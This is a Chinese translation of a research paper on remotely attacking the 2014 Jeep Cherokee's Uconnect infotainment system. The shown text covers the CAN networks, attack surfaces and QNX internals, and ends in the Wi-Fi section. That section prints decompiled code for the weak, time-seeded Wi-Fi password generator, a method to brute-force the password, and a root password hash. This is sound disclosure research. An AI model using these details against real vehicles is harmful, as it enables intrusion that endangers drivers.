欢迎光临第五届中国汽车网络信息安全峰会2020!

远程入侵克莱斯勒汽车Uconnect娱乐信息系统并控制汽车技术细节-中文版

发布日期:2020-08-02

Author: Dr. Charlie Miller (cmiller@openrce.org) Chris Valasek (cvalasek@gmail.com)

翻译组:朱于涛 刘家志。图形添加完善:博大汽车信息安全20180316

远程入侵克莱斯勒UCONNECT娱乐信息系统及控制汽车 1

0x00 简介&背景 3

0x01 目标-2014款吉普切诺 5

网络架构 5

CAN C总线 6

CAN IHS总线 7

0x02 网络物理特性 8

自适应巡航控制(ACC) 8

前向碰撞警告系统+(FCW+) 8

车道偏离警告系统(LDW+) 9

泊车辅助系统(PAM) 10

0x03 远程攻击途径 11

被动防盗系统(PATS) 11

胎压监测系统(TPMS) 12

遥控门锁(RKE) 13

蓝牙 14

无线电数据系统 15

Wi-Fi 16

车载通讯系统/互联网/Apps 17

QNX环境 18

文件系统和服务 19

IFS 20

ETFS 25

MMC 25

PPS 25

Wi-Fi 28

加密 28

开放端口 33

D-Bus服务 34

综述 35

蜂窝 38

CAN连接性 39

0x05 劫持Uconnect 40

任意版本 41

版本14_05_03 42

更新模式 44

常规模式 44

0x01 利用D-Bus服务 46

获取代码执行 46

0x02 Uconnect攻击载荷(attack payloads) 48

GPS 48

lua getGPS.lua 49

HVAC 49

广播音量 49

低音 50

电台(FM) 50

显示屏 51

显示图片 51

旋钮 52

0x03 蜂窝利用 52

网络设置 53

飞蜂窝(Femtocell) 55

蜂窝访问 56

0x04 扫描有漏洞的车辆 57

扫描结果 58

估算有漏洞的车辆数量 59

汽车蠕虫 60

0x05 V850 60

模式 61

更新V850 61

逆向IOC 64

不用USB刷V850 78

SPI通讯 81

SPI信息协议 81

获取V850的版本信息 82

V850的编译日期 83

固件中的V850漏洞 84

通过V850芯片发送CAN信息 86

0x01 完整的利用链 87

识别目标 87

利用头单元中的OMAP芯片 87

控制Uconnect系统 87

V850中刷入篡改过的固件 88

通过网络执行物理操作 88

通过网络了解汽车内部的物理构造 88

机械工具 88

综述 89

安全访问 91

PAM ECU逆向 95

通过网络来发送CAN信息 101

常规的CAN信息 101

转向信号 102

车锁 103

RPMS 103

CAN诊断信息 103

关闭引擎 103

刹车 104

转向 104

0x02 问题和修复 105

问题披露 105

修复和应对办法 106

 

0x00 简介&背景

 

汽车安全研究一直是大众消费者非常感兴趣的一个话题,因为汽车已经走入了寻常百姓家,而且我们也明白一旦攻击者可以任意的操控我们的汽车,那么我们的行车安全就会受到极大的威胁。很大程度上,汽车安全研究是从2010年开始的。当时,华盛顿大学和加州大学**亚哥分校的研究人员称,如果他们能够将某些信息注入到车辆的CAN总线中,他们就可以操控车辆的一些物理状态(推测的测试车型是2009年的雪佛兰迈锐宝),比如控制仪表盘上的显示速度,关闭引擎或影响刹车性能。虽然这次研究很有意思,但是也遭到了大众的广泛批评,因为他们认为攻击者在无法近距离接触到车辆的情况下,是没有办法向汽车中注入此类信息的,不过,如果攻击者能近距离接触到目标车辆,他们可以直接切断某条线路,或执行其他的一些物理攻击就足够了。

第二年,这个研究小组证明了自己在2010年时提出的论断,实现了这种远程攻击方案。他们演示了三种不同的途径来说明如何在汽车上执行代码,分别是通过收音机的mp3解析器,蓝牙栈和卫星通讯系统。一旦代码能在汽车上运行了,他们接下来就可以注入CAN信息,从而影响车辆的物理系统。此次远程攻击研究颇具开创性,因为这一研究证明了,不只是当地的汽车,而是全国范围内的汽车都存在安全漏洞。不过,在这两次的研究报告中都没有具体地列出这些攻击方法是如何实现的,也没有记录测试车辆的型号。

不久之后,DARPA授权我们研发一个能协助汽车研究进行的工具库,降低新研究员进入这一领域的门槛。随后,我们发布了这些工具并演示了几种针对两款老车型的物理攻击方法,测试的车辆分别是2010年的福特翼虎和2010年的丰田普锐斯。现在,这一套工具已经成为了众多研究人员的优选,甚至美国国家公路交通安全管理局也在使用这套工具来进行车辆测试。

在我们2012年的研究中,考虑到学术研究者先前发布的一些材料,我们假定远程入侵是可行的。所以,我们假设可以通过一种可靠的方式将CAN息注入到汽车总线中。除了公布这些工具,我们还放出了在攻击中使用的CAN信息,借此来鼓励更多的研究人员参与到汽车研究中。另外,我们的主要贡献还包括证明了如何通过CAN信息来控制方向盘的转向。这种控制能实现的原因在于汽车功能的发展,从首次研究至今,现在的汽车已经具备了一些类似自动平行泊车和车道维持辅助系统的功能,而这些功能的实现都是通过接收CAN总线发出的ECU操作命令完成的。所以,由此证明了,随着汽车上新技术的引入,新型的攻击方式也在成为可能。

汽车产业对此回应称,因为我们能接触到目标车辆,向车辆的总线中注入CAN信息,所以才能实现这些攻击。例如,丰田就发表声明称“整个汽车产业以及我们的工作焦点就是防止车辆以外的无线设备实现远程入侵。我们认为我们的系统是强大且安全的。”

2013年,DARPA再次授权我们研发一个平台来帮助研究员在不需要购买测试车辆的前提下进行汽车安全研究。这次的重点还是在于降低汽车研究的成本和难度,尤其对于那些有传统计算机安全背景的研究人员。

2014年,为了更具普适性,而不是仅限于当时的3种车型(2009年雪佛兰迈锐宝,2010年福特翼虎,2010年丰田普锐斯),我们收集了大量关于汽车结构的数据,尝试从更高层级上判断哪些车辆会给攻击者造成*大的障碍。我们首先评估了攻击平面,从获取CAN信息,到获取关键的安全性ECU,*后通过ECU来采取一些物理操作。*终,我们发现2014年的吉普切诺和另外两款车综合了这两种攻击途径,并且车辆的结构简单,具备大量的高级物理功能,所以这几款车非常适合我们进行研究。

我们采购了一台2014年的吉普切诺来进行研究,因为像学术研究者一样,我们很想证明先前在福特和丰田汽车上应用的攻击方法也可以远程实现。因为汽车制造商在我们发布了研究报告后还是那么的自信,所以我们想要证明在原装车上,远程攻击仍然是可行的,以此来鼓励所有人都重视这一威胁。在本文中,我们远程攻击了一台原装的2014年款吉普切诺和类似的车辆来获取对车辆的物理控制。我们要通过这次研究,将详细的研究信息传递给安全研究员、汽车制造商、供应商和消费者,希望将来生产的汽车能更安全。

 

0x01 目标-2014款吉普切诺

 

我们选择2014款吉普切诺是因为这款车给我们提供了*佳的机会来证明,一旦远程入侵成功,攻击者就可以通过发送信息,侵入驾驶员的隐私,代替攻击者执行一些物理操作。正如我们在先前研究中就指出的,对于攻击者来说,这款车的攻击障碍更少。但是,这并不代表其他制造商生产的汽车就是无法入侵的或是更安全的,只是说,我们认为这款车是适合我们的研究对象。更重要是,在我们的预算限制中,只有这款车能提供我们想要的技术功能。

 

网络架构

这台2014款吉普切诺的架构非常吸引我们,因为这款车的头单元(无线电广播)连接到了车辆上实现的两条CAN总线。

 

 

-2014年款吉普切诺的结构图

我们猜测,如果能入侵汽车上的无线电模块,我们就能访问CAN-IHS和CAN-C网络上的ECU,也就是说,我们可以把信息发送到所有的ECU上,而这些ECU控制着车辆的各种物理特性。在后面你会看到,我们在入侵了头单元后,并没能直接访问到CAN总线,所以,还需要接下来的漏洞利用阶段(Exploitation Stage)。有这样的说法,CAN总线中不存在架构限制,比如,控制转向的是独立的总线。如果我们可以从头单元中发送信息,那么信息就能传递到CAN总线上的每一个ECU。

CAN C总线

1. ABS 模块 - 防抱死制动系统

2. AHLM 模块 - 大灯高度调整

3. ACC 模块 - 自适应巡航控制

4. BCM 模块 - 车体控制

5. CCB 连接器 - 星型 CAN C 主体

6. CCIP 连接器 - 星型 CAN C IP

7. DLC 自我诊断接头

8. DTCM 模块 - 动力控制

9. EPB 模块 - 电子驻车制动器

10. EPS 模块 - 电子助力转向系统

11. ESM 模块 - 电子变速

12. FFCM 摄像头 - 前置摄像头

13. IPC 集群

14. OCM 模块 - 乘客分类模块

15. ORC 模块 - 乘客约束控制器

16. PAM 模块 - 泊车辅助

17. PCM 模块 - 动力系统控制 (2.4L)

18. 无线电模块 - 无线电广播

19. RFH 模块 - 射频中心

20. SCM 模块 - 转向控制

21. SCLM 模块 - 转向柱锁

22. TCM 模块 - 传动控制

CAN IHS总线

1. AMP 放大器 - 无线电广播

2. BCM 模块 - 车体控制

3. CCB 连接器 - 星型 CAN IHS 主体

4. CCIP 连接器 - 星型 CAN IHS IP

5. DDM 模块 - 司机门锁

6. DLC 自我诊断接头

7. EDM 模块 -外部 DISC

8. HSM 模块 - 加热座椅

9. HVAC 模块 - A/C 加热器

10. ICS 模块 - 集成中心栈开关

11. IPC 模块 - 集群

12. LBSS 传感器 - 盲点左后方

13. MSM 模块 - 记忆座椅驱动

14. PDM 模块 - 乘客门

15. PLGM 模块 - 电动尾门

16. 无线电模块 - 无线电广播(非桥接)

17. RBSS 传感器 - 盲点右后方

0x02 网络物理特性

在这一部分中,我们介绍了2014款吉普切诺使用的驾驶协助系统。我们对这些技术非常感兴趣,因为在此前的攻击中,我们就是利用了类似的系统才获取了对车辆的物理控制。虽然,我们也相信这些技术进步保证了驾驶员和乘客的安全,但是,不可否认的是,攻击者也会利用这些系统作为控制车辆的途径。

自适应巡航控制(ACC)

2014年款的吉普切诺配备了自适应巡航控制系统(ACC),这项技术能够协助驾驶员与前车保持合适的距离。实际上,如果启用了巡航控制,当前车减速时,车辆就会适当的刹车以避免与前车发生碰撞,当道路上的障碍移除或进入安全距离后,车辆就会恢复到正常的巡航控制速度。如果前车停止前行,ACC模块也可以控制驾驶车辆停止前行。

前向碰撞警告系统+(FCW+)

ACC类似,前向碰撞警告系统+(FCW+)会防止车辆与前方物体发生碰撞。但是,不同于ACC,除非特意关闭,FCW+是一直开启的,在遇到突发情况时,系统会协助驾驶员刹车。例如,如果驾驶员正在看手机,而没有注意前方的道路,并且前方车辆突然刹车了,FCW+就会发出声音警报,并代替驾驶员刹车。

 

-FCW+

车道偏离警告系统(LDW+)

车道偏离警告系统(LDW+)这项功能是为了保证驾驶员在高速公路上的驾驶安全。LDW+在启用时会检查行车线路(道路上的油漆线),判断车辆是否乱线,从而避免碰撞或更严重的事故。如果系统检测到车辆正在偏离当前的线路,系统就会调整方向盘以保持在当前线路上形式。

 

-LDW+

泊车辅助系统(PAM)

近期,*新的泊车辅助功能(PAM)也加入到了普通车辆上。泊车辅助系统(PAM)能帮助驾驶员完成停车操作,在多数情况下不需要驾驶员出力,比如平行停车,倒车停车等。我们认为以此为切入点,是控制车辆方向盘的*简单方法,并且我们已经证明了利用这项技术,只需要通过CAN信息就能控制车辆在高速行驶中的转向。在后面你会发现,PAM技术和模块在我们的研究中发挥了关键作用。

-使用中的PAM系统显示

0x03 远程攻击途径

 

在下表中,我们列出了攻击者可能选择的一些切入点。很多人在看到这些项目时想到的都是各种技术术语,但是对于攻击者来说,每项与外界交互的技术都是一个潜在的攻击切入点。

被动防盗系统(PATS)

现在,在很多汽车的点火钥匙中都植入了一个小芯片,与车辆上的传感器通讯。对于吉普切诺这款车来说,其传感器直接通过线路连接到了射频中心模块上(RFHM)。当按下点火开关时,板载计算机就会发出一个射频(RF)信号,钥匙中的射频器就可以接受这个信号。然后钥匙中的射频器会返回一个唯一的射频信号到车上的计算机,计算机在确定信号后,就会启动并运行汽车,整个过程不超过1秒。如果板载计算机没有接收到正确的识别代码,某些组件,比如油泵,启动器就不会运行。

从远程攻击的角度看,这个攻击平面太窄了。唯一的数据传输(并且是由IC上的软件处理)就是识别码和射频信号。很难想象这个识别代码中会存在可利用的漏洞,即使是有,你也必须要接近传感器,因为传感器在设计上就只能接收附近的信号。

 

-显示没有检测到钥匙

胎压监测系统(TPMS)

在汽车上,每个轮胎都有一个胎压传感器,会时刻测量胎压并把实时数据传输给ECU。在吉普切诺上,接收传感器通过线路连接到了RFHM上。这里使用的无线电信号是**性的,但是,已经有人对TPMS系统进行了研究并调查了这个系统的安全性。

几乎可以确定的是,通过采取一些操作是可以攻击TPMS系统的,比如让车辆误以为轮胎或TPMS系统出现了问题。另外,研究人员还证明了在有些情况下,是可以造成相关的ECU崩溃或变砖。考虑到代码执行的可能性,这个攻击平面也很窄。但是,既然ECU能远程变砖,这还是说明其数据处理方式不够安全,所以这类攻击还是可行的。

 

-2014年款吉普切诺的TPMS系统显示界面

遥控门锁(RKE)

电子钥匙,也就是遥控门锁中有一个短距离的无线电传输装置,可以与车辆上的ECU通讯。这个无线电传输器会发送包含有身份信息的数据,然后ECU会判断这个秘钥是不是有效的,从而决定随后的上锁、解锁和启动引擎等指令。在吉普基诺这款车中,负责接收这个信息的还是RFHM。

鉴于远程代码执行,这种攻击平面很窄。因为,RHFM中一定有专门的固件来负责处理射频信号,加密/解密代码和识别电子钥匙数据的逻辑以及编程备用电子钥匙的逻辑。虽然这是一种可能的攻击途径,但是要想在RKE中找到漏洞来实现远程代码执行似乎是不可能的。

 

-2014年款吉普切诺的电子钥匙

蓝牙

大多数汽车都能够通过蓝牙来同步设备。也就是说ECU有处理复杂远程信号的能力。在吉普切诺上,蓝牙是通过无线电广播(头单元)接收和处理的。这样汽车就可以访问手机上的通讯录,通过手机打电话,听音乐,发信息以及其他功能。

不同于现有的其他信号,蓝牙栈很庞大,同时也存在着大量的攻击漏洞,所以攻击平面很大。一般来说,涉及到蓝牙栈的攻击方案有两种。第一种是利用未配对的设备。这种攻击的危险程度是*高的,因为攻击者可以获取到设备的代码。第二种利用方法是在配对完成后,因为涉及到了用户交互,所以威胁性没有那么大。曾经就有研究人员演示了如何利用蓝牙接口来入侵一辆汽车。Codenomicon的研究人员还发现,汽车中常用的蓝牙接收器有很多崩溃的情况。

-2014年款吉普切诺的蓝牙面板

无线电数据系统

无线电广播不仅仅可以接收声音信号,也可以接收数据。在吉普切诺上,无线电广播可以接收多种远程输入,比如GPS,AM/FM广播和卫星电台。在多数情况下,这些信号都会简单的转换成音频输出,数据解析的数量也不大,这就说明其中不太可能有可以利用的漏洞。但是,例外就是无线电数据系统中用于发送数据和FM模拟信号(或卫星电台)的数据。用户可以感知到包括当电台播报的电台名称和正在播放的歌曲名称,在这时,数据必须要经过解析和显示,这样就为安全漏洞创造了空间。

-2014年款吉普切诺的无线电广播数据面板

Wi-Fi

有些汽车还提供了蜂窝数据上网功能,实际上,这些汽车是通过Wi-Fi热点的方式来为乘客提供网络连接。在吉普切诺上,这是一个根据使用情况购买的功能,比如按天或按月购买。我们观察到即使是不了解汽车系统的人也可以访问这个Wi-Fi系统。虽然Wi-Fi安全评估方法已经存在了好多年,但是近年来,数据点入侵攻击还是经常发生。

-2014年款吉普切诺的Wi-Fi面板

车载通讯系统/互联网/Apps

如今的许多汽车都配备了蜂窝广播功能,一般是叫做车载通讯系统,用于将车辆连接到数据网络,例如,通用汽车使用的昂斯达系统。蜂窝技术也可以用于接收数据,比如交通或天气信息。

这一功能就像是汽车攻击业的圣杯,因为,只要目标汽车上有蜂窝通讯,那么可以攻击的范围实在是太广了。即使车载通讯单元不直接驻存到CAN总线上,这个通讯单元仍然可以通过麦克风向其他位置远程传输数据/声音。有的研究人员此前就远程利用过汽车上的通讯单元,并且还没有涉及用户交互。在吉普切诺上,所有的这些功能都是由无线电控制的,而这个无线电广播又驻存在了CAN-IHS总线和CAN-C总线这两者之上。

2014年的吉普切诺上,其通讯系统、网络、无线电广播和Apps都在出厂时绑定到了哈曼Uconnect 系统上。接下来我们会详细地介绍这个Uconnect系统,但是我们想要指出,所有与“信息娱乐”系统相关的功能都是物理集成在一个单元上。

0x04 Uconnect系统

 

2014年款的吉普雷诺使用了由哈曼卡顿生产的Uconnect 8.4AN/RA4 无线电广播系统,并且哈曼卡顿是吉普汽车的唯一供应商,负责提供信息娱乐系统、Wi-Fi连接、导航、app和蜂窝通讯。大多数的功能都是集成在一块德州仪器芯片上的OMAP-DM3730系统中,这是汽车上经常使用的一个系统。菲亚特克莱斯勒汽车的很多不同车型也都使用了哈曼Uconnect系统,包括克莱斯勒、道奇、吉普和Ram。当然,其他品牌的汽车也有的使用了Uconnect系统。

Uconnect头单元中同样包含有微控制器和软件,允许通过控制器局域网-高速(CAN-IHS)数据总线与车辆上的其他电子模块通讯。在配备了Uconnect Access系统的汽车上,系统还会通过CAN-C数据总线,使用电子信息与汽车上的其他电子模块通讯。

不仅仅是吉普切诺这款车配备了哈曼Ucoonect系统,这个系统在克莱斯勒-菲亚特系列的汽车上也很常见,甚至还出现在了法拉利加利福尼亚这款车上。这就意味着,虽然我们是以2014年款的吉普切诺为例,但是,只要是安装了Uconnect系统的汽车,这里提到的漏洞和信息都是适用的。所以说,在道路上,有漏洞的汽车数量相当庞大。

QNX环境

2014年款吉普切诺上使用的Ucoonect系统运行的是QNX操作系统,使用了一个32位ARM架构的处理器。这基本上就是汽车信息娱乐系统的标配。如果Uconnect系统不可用的话,大部分的测试和检查都可以在QNX虚拟机上完成,但是,系统很显然配备了一个工作单元能帮助到我们的应用研究。

# pidin info

CPU:ARM Release:6.5.0 FreeMem:91Mb/512Mb BootTime:Jul 30 21:45:38 2014

Processes: 107, Threads: 739

Processor1: 1094697090 Cortex A8 800MHz FPU

除了虚拟的QNX系统,用于更新和重装操作系统的ISO数据包也可以很容易地从网上下载到。在获取了这个ISO文件后,我们调查了其目录结构和文件系统。我们研究发现,有很多研究方法都可以在没有测试车辆,没有Ucoonect系统或QNX虚拟机的前提下完成,比如,逆向二进制文件。

文件系统和服务

我们的Uconnect单元使用了NAND flash,这个flash中包含有几个不同的文件系统,各自发挥着不同的作用。下面列出的是我们感兴趣的一些文件系统和需要额外研究的部分。在接下来,我们还会讨论这些部分。要想获取更多关于QNX镜像的信息,请参考他们的说明文档。

· IPL:初始程序加载器(IPL)中包含着用于加载Uconnect系统的引导程序。虽然很有意思,但是我们并没有深入地检查这个引导程序。因为我们的目标是物理控制目标车辆,所以头单元中的其他部分更具相关性。

· IFSIFS中包含了QNX文件系统镜像,在启动时会加载到RAM中。这个文件系统中包括了所有与操作系统相关的二进制和配置文件。IFS是只读的。所以,虽然这里有大量的二进制看似可以覆盖和替换,但是攻击者的能力会受到限制。话虽如此,IFS是可以在更新过程中篡改的,我们随后会讨论。

· ETFS 嵌入式事物文件系统(ETFS)是一个支持读写的文件系统,这个系统是可以修改的。ETFS是为了配合嵌入式固态存储设备的使用。ETFS实现了一个高度可靠的文件系统,供嵌入式固态存储设备使用,尤其是NAND flash。这个文件系统能完整支持POSIX语法中的分层目录结构。

· MMC:多媒体扩展卡(MMC)安装在/fs/mmc0/,用于储存系统数据。在Uconnect系统中,只有这一大片区域是可写的,在接下来漏洞利用过程中,我们会使用这个位置来储存文件。

IFS

如上所述,IFS用于放置系统二进制,以及在Uconnect头单元上运行QNX操作系统所需要的配置文件。我们从克莱斯勒汽车上获取了一个ISO文件,通过观察其文件系统来判断哪些文件会在更新过程中受到影响。例如,在解压了ISO后,我们检查了主目录中的’manifest’,发现了IFS位于一个‘ifs-cmc.bin’文件中。

ifs =

{

name        = "ifs installer.",

installer   = "ifs",

data        = "ifs-cmc.bin",

},

如果我们想要在没有Ucoonect系统的情况下查看IFS,‘swdl.bin’需要挂载到QNX虚拟机中,因为这不是一个标准的IFS镜像。这里面包括了更新需要的所有系统可执行文件。‘swdl.bin’文件可以在‘swdl/usr/share’ 目录中找到。

例如,如果要转储QNX上(在我们的例子中,是QNX虚拟机)的IFS,你可以运行下面的命令:

memifs2 -q -d /fs/usb0/usr/share/swdl.bin /

运行结果是检查一个挂载为只读的根目录(“/”)。通过发出‘dumpifs’命令,这个文件系统可以完全迭代。我们从ISO更新文件中转储了IFS,下面就是输出结果。

     Offset         Size     Name

          0            8     *.boot

          8          100     Startup-header flags1=0x9 flags2=0 paddr_bias=0

        108        22008     startup.*

      22110           5c     Image-header mountpoint=/

      2216c          cdc     Image-directory

       ----         ----     Root-dirent

      23000        8a000     proc/boot/procnto-instr

      ad000         325c     proc/boot/.script

       ----            3     bin/sh -> ksh

       ----            9     dev/console -> /dev/ser3

       ----            a     tmp -> /dev/shmem

       ----           10     usr/var -> /fs/etfs/usr/var

       ----           16     HBpersistence -> /fs/etfs/usr/var/trace

       ----            a     var/run -> /dev/shmem

       ----            a     var/lock -> /dev/shmem

       ----            a     var/log/ppp -> /dev/shmem

       ----           15     opt/sys/bin/pppd -> /fs/mmc0/app/bin/pppd

       ----           15     opt/sys/bin/chat -> /fs/mmc0/app/bin/chat

       ----           18     bin/netstat -> /fs/mmc0/app/bin/netstat

       ----           16     etc/resolv.conf -> /dev/shmem/resolv.conf

       ----           16     etc/ppp/resolv.conf -> /dev/shmem/resolv.conf

       ----           18     etc/tuner -> /fs/mmc0/app/share/tuner

       ----            8     var/override -> /fs/etfs

       ----            c     usr/local -> /fs/mmc0/app

       ----            b     usr/share/eq -> /fs/mmc0/eq

      b1000         12af     etc/system/config/fram.conf

      b3000          38c     etc/system/config/nand_partition.txt

      b4000          56b     etc/system/config/gpio.conf

      b5000         247b     bin/cat

      b8000         1fed     bin/io

      ba000         2545     bin/nice

      bd000         1fed     bin/io

      c0000        38e0f     bin/ksh

      f9000         41bb     bin/slogger

      fe000         60a1     bin/waitfor

     105000         531b     bin/pipe

     10b000         5e02     bin/dev-gpio

     120000        1270b     bin/dev-ipc

     140000        1f675     bin/io-usb

     160000         29eb     bin/resource_seed

     163000         3888     bin/spi-master

     167000         48a0     bin/dev-memory

     16c000         9eab     bin/dev-mmap

     176000         602c     bin/i2c-omap35xx

     17d000         da08     bin/devb-mmcsd-omap3730teb 18b000 dd3 bin/dev-ipc.sh

     18c000         2198     bin/mmc.sh

     190000        1208f     bin/devc-seromap

     1a3000         323d     bin/rm

     1a7000         ffa2     bin/devc-pty

     1b7000          4eb     bin/startSplashApp

     1b8000          692     bin/startBackLightApp

     1b9000         1019     bin/mmc_chk

     1bb000         42fe     usr/bin/adjustImageState

     1c0000        12c81     usr/bin/memifs2

     1d3000          284     usr/bin/loadsecondaryifs.sh

     1e0000        77000     lib/libc.so.3

       ----            9     lib/libc.so -> libc.so.3

     260000         b0e4     lib/dll/devu-omap3530-mg.so

     26c000         9d17     lib/dll/devu-ehci-omap3.so

     276000         4705     lib/dll/spi-omap3530.so

     280000        14700     lib/dll/fs-qnx6.so

     295000         36e6     lib/dll/cam-disk.so

     2a0000        2b7ba     lib/dll/io-blk.so

     2d0000        5594f     lib/dll/charset.so

     330000        1243c     lib/dll/libcam.so.2

       ----            b     lib/dll/libcam.so -> libcam.so.2

     350000         3886     lib/dll/fram-i2c.so

  Checksums:        image=0x702592f4 startup=0xc11b20c0

虽然,dumpifs’ 命令不能获取到与完整操作系统相关的所有信息,比如,‘/etc/shadow’,我们在二进制上运行了grep,其结果说明这种文件是*可能显示的。例如,如果你搜索’root’,你会找到几个字符串,其中*有意思的两个分别是:

root:x:0:a

root:ug6HiWQAm947Y:::9b

在通过远程入侵劫持了工作头单元后,我们就可以更全面地在工作的头单元上检查IFS。接下来,我们会讨论如何劫持头单元。

ETFS

ETFS实现了一个高度可靠的文件系统,供嵌入式固态存储设备使用,尤其是NAND闪存。很显然,ISO中并没有出现ETFS,但是在一个活动的Uconnect系统上能检查到。在我们看来,在ETFS上并没有多少有趣的数据,所以我们就不深入了。

 例如:/fs/etfs/usr/var/sdars/channelart/I00549T00.png

MMC

在调查ISO和Uconnect系统时,我们发现MMC文件系统中的一些项目是*有意思的。*让我们好奇的是这个文件系统可以挂载为读-写属性,也就是说,如果这个文件系统上有我们感兴趣的东西,比如启动脚本或网络服务,我们就可以启用或修改其内容。比如,我们就发现了’sshd’,‘boot.sh’和 ‘runafterupdate.sh’这样的项目。

安装脚本-’mmc.lua’会把ISO中的‘/usr/share/MMC_IFS_EXTENSION’复制到‘/fs/mmc0/app’。

PPS

QNX系统中运行着许多有意思的服务,但是解释所有的这些服务并不在本文的范围中。其中一个很重要的服务是发布/订阅服务(PPS)。在这个服务中有几个文件是我们感兴趣的,下面列出的是*突出的几个:

/pps/can/vehctl

/pps/can/tester

/pps/can/can_c

/pps/can/send

/pps/can/comfortctl

这些文件从本质上说,是数据写入的位置,这样就可以将其用作其他进程的输入。我们可以把这些文件想象成具备数据处理能力的UNIX管道,用于协助数据结构的解析。这里有一个定义好的API会与PPS文件交互。假设下面的数据就储存在一个PPS文件中:

@gps

city::Ottawa

speed:n:65.412 position:json:{"latitude":45.6512,"longitude":-75.9041}

为了提取这些数据,你可以使用下面的代码:

const char *city;

double lat, lon, speed;

pps_decoder_t decoder;

pps_decoder_initialize(&decoder, NULL); pps_decoder_parse_pps_str(&decoder, buffer); pps_decoder_push(&decoder, NULL); pps_decoder_get_double(&decoder, "speed", &speed); pps_decoder_get_string(&decoder, "city", &city);

pps_decoder_push(&decoder, "position"); pps_decoder_get_double(&decoder, "latitude", &lat); pps_decoder_get_double(&decoder, "longitude", &lon); pps_decoder_pop(&decoder);

pps_decoder_pop(&decoder);

if ( pps_decoder_status(&decoder, false) == PPS_DECODER_OK ) { ...

}

pps_decoder_cleanup(&decoder);

下面这个真实案例是取自一个活动中的Uconnect系统:

# cat send

[n]@send

DR_MM_Lat::1528099482

DR_MM_Long::1073751823

GPS_Lat::1528099482

GPS_Long::1073751823

HU_CMP::0

NAVPrsnt::1

RADIO_W_GYRO::1

虽然,PPS文件位于一个叫做‘can_c’ 的子目录中,但是在写入这些文件时,并没有创建我们用嗅探器观察到的CAN信息。换句话说,这些PPS文件只是能看到进程之间是如何通讯的,并没有直接与CAN总线通讯的权限。

一开始,我们还希望能利用这些PPS文件来发送任意的CAN信息,但是,在证明了这种方法的生存能力不够强后,我们又把努力方向转向到了其他地方。这不是说,我们无法利用这些文件和PPS子系统来发送任意的CAN信息,只是我们想找到一种更好的办法来实现我们想要的结果。

Wi-Fi

2014年款的吉普切诺可以选配车载Wi-Fi,其本质就是一个Wi-Fi热点,只有在web上或通过Uconnect系统购买了这项服务,上网功能才能实现。接下来,我们会讨论Wi-Fi热点中存在的一个漏洞,但是要记住,只有当车主启用并购买了这项功能后,这个漏洞才可以利用。

加密

默认的Wi-Fi加密方法是WPA2,使用的密码是随机生成的,字母数字不少于8位。考虑到目前WPA2的强度和可能的密码数量,这是一种非常安全的设置,所以问题是:攻击者怎样才能入侵这样的网络呢?

一种相对简单,但是不太可行的方法就是用户选用了WEP加密方法,或直接没有使用加密,这两种都是可行的选择。无论是哪种情况,攻击者都能够通过破解WEP密码或直接加入访问点来入侵这种无线访问点。

如果攻击者已经入侵了连接到车载Wi-Fi热点的设备,比如,笔记本电脑或手机,那么还存在另外一种攻击方案。既然车主购买了这个功能,也就是说他的手机或其他设备会连接到车上的无线网络。在这种情况下,如果攻击者可以入侵这些设备,他们就能连接到车上的无线网络。但是,我们认为这种方案需要太多的前提条件了,l33t!(黑客常用的聊天语言,主要表示 what!和yeah!的意思)

但是,接下来我们会看到,即使用户使用了默认的WPA2设置,攻击者还是可以入侵车上的网络,而且方法很简单。通过反汇编OMAP芯片上的‘WifiSvc’二进制(通过转储活动的QNX中的二进制可以获得),攻击者就可以确定用于创建随机密码的算法。这个算法会出现在函数WiFi.E:generateRandomAsciiKey()中。通过反编译,我们发现这个算法包含下面的部分:

int convert_byte_to_ascii_letter(signed int c_val)

{

  char v3; // r4@2

  if ( c_val > 9 )

  {

    if ( c_val > 35 )

      v3 = c_val + 61;

    else

      v3 = c_val + 55;

}

else

  {

    v3 = c_val + 48;

}

return v3; }

char *get_password(){

         int c_max = 12;

int c_min = 8;

unsigned int t = time(NULL);

srand (t);

unsigned int len = (rand() % (c_max - c_min + 1)) + c_min; char *password = malloc(len);

int v9 = 0;

do{

unsigned int v10 = rand();

int v11 = convert_byte_to_ascii_letter(v10 % 62); password[v9] = v11;

v9++;

    } while (len > v9);

return password;

看起来,随机密码是完全是一个时间(几秒钟)的函数,我们很难去调查这个密码是在什么时间生成的,但是下面的信息能表明头单元的首次启动时间。

所以,通过生成一个密码表来暴力破解无线访问点的WPA2加密是可行的。根据汽车的生成年份,攻击者可以尝试猜测汽车的首次启动时间,并尝试合适的密码。

仅供参考,如果我们可以猜测出某辆汽车是在几月份首次启动的,我们只需要尝试大约1500万个密码。如果你认为首次启动时间不会是在半夜,那么需要尝试的密码数量又可以减半。我们并不是这方面的专家,但是有资料表明,在使用离线破解技术时,你每秒可以尝试133,000次密码。也就是说,猜测一个月中的所有密码只需要2分钟,猜测整年的密码也用不了半个小时。在多数情况下,虽然我们估计的过于乐观了,但是这种方法还是可行的。

不过,由于一个复杂的时间漏洞的存在,似乎还有另外一种更简单的密码破解方法,但是,请注意,我们只用这种方法攻击了我们的头单元,我们不能确定这种攻击是不是有普适性。

当头单元首次启动时,头单元也不知道具体的时间。头单元还需要从GPS或蜂窝连接中接收信号。文件‘clock.lua’负责的就是设置系统时间。我们在函数‘start()’ 中发现了下面的代码:

local rtcTime = getV850RealtimeClock()

local rtcValid = false

if rtcTime == nil or rtcTime.year == 65535 or rtcTime.month == 255 or rtcTime.day == 255 or rtcTime.hour == 255 or rtcTime.mi n == 255 or

rtcTime.sec == 255 then

dbg.print("Clock: start -- V850 time not received or is set to factory defaults")

...

if rtcValid == false then

dbg.print("Clock: start -- Unable to create the UTC time from V850") setProperty("timeFormat24", false)

setProperty("enableClock", true)

setProperty("gpsTime", true)

    setProperty("manualUtcOffset", 0)

    defTime = {}

defTime.year = 2013

defTime.month = 1

defTime.day = 1

defTime.hour = 0

defTime.min = 0

defTime.sec = 0

defTime.isdst = false setSystemUTCTime(os.time(defTime))

timeFormatOverride = false

enableClockOverride = false

end

